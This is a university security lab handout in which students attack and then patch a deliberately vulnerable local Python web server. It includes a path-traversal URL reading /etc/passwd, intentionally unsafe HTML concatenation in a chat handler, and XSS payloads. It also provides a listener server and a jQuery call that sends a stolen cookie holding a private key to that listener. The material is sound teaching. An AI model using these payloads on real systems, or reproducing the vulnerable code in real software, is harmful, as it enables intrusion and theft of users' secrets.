Security Practical 2

Dr Chris G. Willcocks

Last Modified: October 30, 2019

Practical 2

Background

Welcome to the second practical. We will be extending our web-server to serve file requests, such as HTML and CSS. There are lots of security vulnerabilities in doing this. We will also be doing some XSS cross-site scripting attacks and trying (!) to protect against these. Finally, you will be getting some implicit exposure to important web technologies (HTML5, CSS3, jQuery and AJAX). It is expected that you will be new to all this, so enjoy being thrown in the deep end if this is the case (as is often in the real world). Good luck!

Windows Setup (Managed Desktop Service)

As in the previous practical, first launch Python 3.7.4 from the AppHub. Then launch PyCharm and create a new Python project, where the correct Python 3.7 interpreter should be automatically detected by PyCharm (you need to have previously launched Python 3.7 from the AppHub). In this practical you will need to run multiple scripts 'server.py' and 'cracker.py', and ensure all required files are next to these scripts, e.g. in the PyCharm project folder. Use the 'Microsoft Edge' browser instead of internet explorer. You will need to '`pip install`' some modules from within the PyCharm terminal during these practicals.

Linux Setup

Ensure you are in a Python 3.7 activated environment. For example, you can use miniconda `https://docs.conda.io/en/latest/miniconda.html`, then: `source miniconda3/bin/activate` and also ipython is helpful for debugging in an interactive session `pip install ipython`.

Tasks

1. Change directory to '4' and run the web-server (if in PyCharm, right click server.py and run the script):

   Listing 1: Bash

   ```
   cd ~/practicals/4
   python server.py
   ```

   (a) Navigate to `http://127.0.0.1:12345`

   (b) You should see a website where you can click the links.

   (c) Some of the content won't work until later in the practical.

   (d) The server also serves 'style.css' which gives the page some style and allows you to resize the webpage, changing the layout for mobile applications.

   (e) Study the source code for 'index.html', 'script.js' and 'style.css' until you are comfortable.

2. Perform a path traversal attack:

   (a) You'll see you can access `server.py` (the server source code should not be visible to the public).

   (b) See if you can access other files on the system:

   Listing 2: URL

   ```
   %2e%2e%2f represents ../
   ```

(c) Access any file from elsewhere in your filesystem, such as files in other subdirectories. For example, if you are using Linux, try to access your /etc/passwd or /etc/group file:

Listing 3: URL

```
http://127.0.0.1:12345/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f/etc/passwd
```

(d) If on windows, see if you can access other files such as your user documents.

3. Regular expressions (regex) are widely used in security for whitelisting and blacklisting. Take your time to learn regex (or refamiliarise yourself with it if you know it already) by going through the lessons that are available at: `https://regexone.com/`

(a) Modify the regex search expression in `def translate_path(self, path)`, specifically modify this line:

```
if re.search(r'(.*?)', path): # accepts everything
```

to protect your server against path traversal attacks, and also prevent access to `server.py`. You may wish to also use `https://regexr.com/` to test your regex expressions.

(b) Always try to apply strict input validation (whitelist approach where possible, recommended).

(c) Sometimes you may need to use a blacklisting approach (e.g. when you have free-form Unicode text).

(d) You may wish to allow for '/' then between 1 and 20 letters followed by '.' followed by between 1 and 4 letters (although this solution would still allow for .py extension, can you think of better?).

(e) Confirm that your solution prevents path traversal attacks on your filesystem.

(f) Path traversal was fixed in recent versions of Python http.server, so after you have tested your solution you can simply delete the `def translate_path(self, path)` function altogether. Whenever you run someone else's server code (especially in Java, C, C++, and several Python 2.7 servers), always check for these types of attacks as there are lots of projects/frameworks out there that are still vulnerable to them.

(g) See some more examples at: `https://www.owasp.org/index.php/Path_Traversal`

4. We will now do a basic XSS cross-site scripting attack in the chat area.

(a) Add server functionality to receive the chat messages and login events by pasting the following code into the Handler class:

Listing 4: Python

```
def chat_message(self, body):
    # get name and message from post headers and append to arrays
    data = str(body).split('&')
    if len(data) == 2 and data[1] != "Message='":
        name = urllib.parse.unquote_plus(str(data[0][7:]))
        message = urllib.parse.unquote_plus(str(data[1][8:-1]))
        self.names.append(name)
        self.messages.append(message)

    # construct table
    table = '<table><tr><th>Name</th><th>Message</th></tr>\n'
    for idx in range(len(self.messages)):
        table += '<tr><td>' + self.names[idx] + '</td><td>' + self.messages[idx] + '</td
            ></tr>'
    return (table + '</table>').encode('utf-8')

def do_POST(self):

    content_length = int(self.headers['Content-Length'])
    body = self.rfile.read(content_length)

    self.send_response(200)
    self.send_header("Content-type", "text/html")
    self.end_headers()

    if self.path == '/login':
        if body == b'Password=suckless':
            self.wfile.write(b'Secret bitcoin private key:<br><br>
                KworuAjAtnxPhZARLzAadg9WTVKjY4kckS8pw38JrD33CeVYUuDm.')

    if self.path == '/message':
        self.wfile.write(self.chat_message(body))
```

This code stores the received names and messages into the arrays: `self.names` and `self.messages` accordingly. It then constructs an HTML table containing all this information, which it returns in response to a new message.

(b) Confirm that you can send and receive messages. Open up a new private browsing window and fake a conversation.

(c) Type some code into the chat which causes malicious behaviour to annoy other users. For example:

Listing 5: HTML+Javascript

```
<script>alert('this is annoying');</script>
```

(d) See if you can find a way to make the whole website unusable.

(e) You may wish to restart the server to remove any annoying/crashing messages before moving on.

5. Perform an XSS attack to steal priviate information without any users knowing:

(a) Confirm that you can login to the website by clicking the 'Login' button in the login area. Type in the secret password (its in the code you just pasted). You should see your bitcoin private key displayed in a red box in the login area.

(b) You are now a hacker. Set up the following server, and leave it running on port 1337, to listen for information that your XSS attack leaks:

Listing 6: Python

```
import urllib.parse
from http.server import HTTPServer, SimpleHTTPRequestHandler

class HackerHandler(SimpleHTTPRequestHandler):

    def do_GET(self):
        print(urllib.parse.unquote(self.path))

if __name__ == '__main__':
    HackerHandler.protocol_version = 'HTTP/1.0'
    try:
        httpd = HTTPServer(('', 1337), HackerHandler)
        print ('started hacker listening server...')
        httpd.serve_forever()
    except KeyboardInterrupt:
        print ('^C received, shutting down server')
        httpd.socket.close()
```

(c) Login with one browsing window, then open another window in a private window (which is not logged in, representing the hacker).

(d) Use an XSS attack in the chat to steal the document.cookie (a common place websites store sensitive information, in this case it contains the private key) of the logged in user without them seeing any suspcious behaviour.

(e) Hint: you may wish to execute a jQuery get request containing the document.cookie. Make sure any malicious behaviour is disguised as innocent.

```
$.get('http://127.0.0.1:1337/malicious?data=kittens');
```

(f) You don't necessarily just need to inject code through script tags. Reload the server, then hack it again but this using the IMG tag onerror attribute.

(g) There are lots of ways to inject. Look at the fuzzing lists maintained by Daniel Miessler and Jasson Haddix: `https://github.com/danielmiessler/SecLists/tree/master/Fuzzing`

(h) Upon reflection, you decide not to store the private key in a cookie. Delete the following line from script.js:

Listing 7: Javascript

```
document.cookie = "key="+data;
```

(i) Reload the server, then perform a different type of XSS attack to steal the private key without the user knowing or using their cookie.

6. Read `https://excess-xss.com/`
7. Get to level 6 in the following game: `https://xss-game.appspot.com/`
8. Patch the chat system to make it robust to XSS attacks. Extra points to those who can keep some rich editing features in the chat.
   (a) This is actually reasonably hard to do properly, especially while retaining any rich editing functionality. You may like to do some research to see how others do it.
9. Show and discuss your patched chat system with the person next to you and/or the demonstrator.
10. This concludes the practical. For those who finish early, extend the chat system with an XSS-secure handeling of a library such as marked.min.js alongside codemirror.min.js for input or katex.min.js for math input.
